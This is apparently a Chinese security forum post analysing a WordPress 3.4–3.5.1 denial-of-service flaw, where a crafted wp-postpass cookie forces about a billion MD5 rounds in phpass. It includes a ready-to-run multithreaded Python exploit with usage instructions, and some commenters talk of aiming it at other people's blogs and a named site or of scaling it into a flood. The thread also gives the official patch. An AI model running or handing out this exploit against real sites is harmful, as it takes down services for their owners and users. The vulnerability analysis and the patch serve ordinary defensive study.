英文原文:WordPress 3.5.1, Denial of Service [UPDATE]
中文译文:Wordpress 3.4 - 3.5.1 逻辑问题导致的 DoS
最终产生 DoS 效果的代码在通用组件phpass中,wp 中位于 /wp-includes/class-phpass.php.
function crypt_private($password, $setting)
{
$output = '*0';
if (substr($setting, 0, 2) == $output)
$output = '*1';
$id = substr($setting, 0, 3);
# We use "$P$", phpBB3 uses "$H$" for the same thing
if ($id != '$P$' && $id != '$H$')
return $output;
$count_log2 = strpos($this->itoa64, $setting[3]);
if ($count_log2 < 7 || $count_log2 > 30)
return $output;
$count = 1 << $count_log2;
$salt = substr($setting, 4, 8);
if (strlen($salt) != 8)
return $output;
# We're kind of forced to use MD5 here since it's the only
# cryptographic primitive available in all versions of PHP
# currently in use. To implement our own low-level crypto
# in PHP would result in much worse performance and
# consequently in lower iteration counts and hashes that are
# quicker to crack (by non-PHP code).
if (PHP_VERSION >= '5') {
$hash = md5($salt . $password, TRUE);
do {
$hash = md5($hash . $password, TRUE);
} while (--$count);
} else {
$hash = pack('H*', md5($salt . $password));
do {
$hash = pack('H*', md5($hash . $password));
} while (--$count);
}
$output = substr($setting, 0, 12);
$output .= $this->encode64($hash, 16);
return $output
接收两个参数,第二个参数的第三个字符控制 md5 函数调用次数。
在前文定义的
$this->itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
中,这个字符的取值只能是 “56789ABCDEFGHIJKLMNOPQRS” 中的一个。然后看次数的具体控制,
$count = 1 << $count_log2;
用了左移操作,如果第三个字符为 "S", count = 2^30 ~ 10 亿。一个请求让服务器调用 10 亿次 md5,这个开销有点大。
WP 在掉用过程中,导致第二个参数可以被用户控制,产生 DoS 效果。
来看看调用流程:
用户访问一一篇文章时,WP 会先判断文章是否加密,从而调用 crypt_private。
/wp-includes/post-template.php get_the_content() -> if ( post_password_required($post) ) -> /wp-includes/class-phpass.php CheckPassword() -> crypt_private()
用户可控位置在 post_password_required()里,
$hash = stripslashes( $_COOKIE[ 'wp-postpass_' . COOKIEHASH ] ); return ! $wp_hasher->CheckPassword( $post->post_password, $hash );
从 Cookie 里取内容,再作为第二个参数传给 CheckPassword()
function CheckPassword($password, $stored_hash)
{
$hash = $this->crypt_private($password, $stored_hash);
if ($hash[0] == '*')
$hash = crypt($password, $stored_hash);
return $hash == $stored_hash;
}
CheckPassword() 第二个参数直接传给了 crypt_private()的第二个参数,至此流程完成。
现在万事俱备只欠东风。我们的东风就是 "COOKIEHASH",在wp 目录下
grep -rn COOKIEHASH .
找到定义
./wp-includes/default-constants.php:150: define( 'COOKIEHASH', md5( $siteurl ) );
原文中取 COOKIEHASH 发了一个 POST 登录请求,在 127.0.0.1 测试,这里取到的就是 md5("http://127.0.0.1/wp").
现在所有条件都满足了,就差一个 exp 了。
原文中的 exp 注释说需要一个篇加密的文章地址,不过从代码逻辑和我的测试来看,只要一个普通文章就够了。
还有就是原来的 exp 是单线程的,对本机效果很好,但是在网络上发送有延迟,所以效果不明显。最关键一点,这个执行过程受 php 的 max_execution_time 限制,默认是 30s。
import httplib
import re
import time
import sys
from threading import thread
def get_cookie_hash(hostname, wplogin):
headers = {'Content-type': 'application/x-www-form-urlencoded'}
handler = httplib.HTTPConnection(hostname)
# handler.request('POST', url, 'post_password=', headers=headers)
handler.request('POST', wplogin, 'action=postpass&post_password=none', headers=headers)
response = handler.getresponse()
set_cookie = response.getheader('set-cookie')
if set_cookie is None: raise RuntimeError('cannot fetch set-cookie header')
pattern = re.compile('wp-postpass_([0-9a-f]{32})')
result = pattern.search(set_cookie)
if result is None: raise RuntimeError('cannot fetch cookie hash')
return result.groups()[0]
def send_request(hostname, post, cookie_name):
headers = {'Cookie': 'wp-postpass_%s=%%24P%%24Spaddding' % cookie_name}
handler = httplib.HTTPConnection(hostname)
handler.request('GET', post, 'action=postpass&post_password=a', headers=headers)
if __name__ == '__main__':
if len(sys.argv) != 5:
print sys.argv[0], '127.0.0.1 /wp/wp-login.php /wp/?p=1 1000'
sys.exit()
hostname = sys.argv[1] # 127.0.0.1
wplogin = sys.argv[2] # '/wp/wp-login.php'
posturl = sys.argv[3] # '/wp/?p=1' # link to password protected post
requests = int(sys.argv[4]) # 1000
cookie_hash = get_cookie_hash(hostname, wplogin)
print '[+] received cookie hash: %s' % cookie_hash
while 1:
try:
g = pool.Pool(size=100)
for i in xrange(requests):
g.spawn(send_request, hostname, posturl, cookie_hash)
g.join()
print 'continue to wait 30s ... '
except Exception, e:
print e
time.sleep(30)
使用前先安装 python-gevent,程序默认为 100 个线程
sudo apt-get install python-gevent
使用方法, 参数依次为 host, 某一篇文章地址, 登录地址(wp-login.php的地址),发送请求数
python wp-dos.py 127.0.0.1 /wp/?p=1 /wp/wp-login.php 1000
相关讨论:
1#
xsser (十根阳具有长短!!) | 2013-10-23 14:09
:)
2#
小胖子 (我承认,我爱过VIP,我仅仅是爱过,因为他死了。) | 2013-10-23 14:12
啊哈,搞一个站试试看去,某人的博客是wp的,哈哈哈
3#
过客 | 2013-10-23 14:23
@xsser exp 使用方法里的第二个和第三个参数反了,帮忙改一下
4#
jeary (?????????????????????????) | 2013-10-23 14:26
wp在BAE,求dos..
5#
无敌L.t.H (:?门安天京北爱我) | 2013-10-23 14:59
已改为define('COOKIEHASH', hash_hmac('md5', $_SERVER['DOCUMENT_ROOT'], $_SERVER['REMOTE_ADDR']));
6#
wefgod (求大牛指点) | 2013-10-23 17:35
给力啊!
7#
过客 | 2013-10-23 22:21
@无敌L.t.H 还要把 wp-login.php 藏起来,要不然还是能取到。
如果不想升级。可以按官方的修补
修改
if ($count_log2 < 7 || $count_log2 > 30)
为
if ($count_log2 < 7 || $count_log2 > 13)
8#
无敌L.t.H (:?门安天京北爱我) | 2013-10-23 22:23
@过客 其实我是准备做个蜜罐。
9#
过客 | 2013-10-23 22:44
@无敌L.t.H 我突然想到,2^13 次单机绝对 D 不挂了,用这个点来 CC,效果应该很不错,而且是 > 3.4 的都可以,哈哈
10#
px1624 (aaaaaaaaa) | 2013-10-23 22:53
@小胖子 z7y的就是wp
11#
核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2013-10-25 09:22
木错,多点cc才是王道……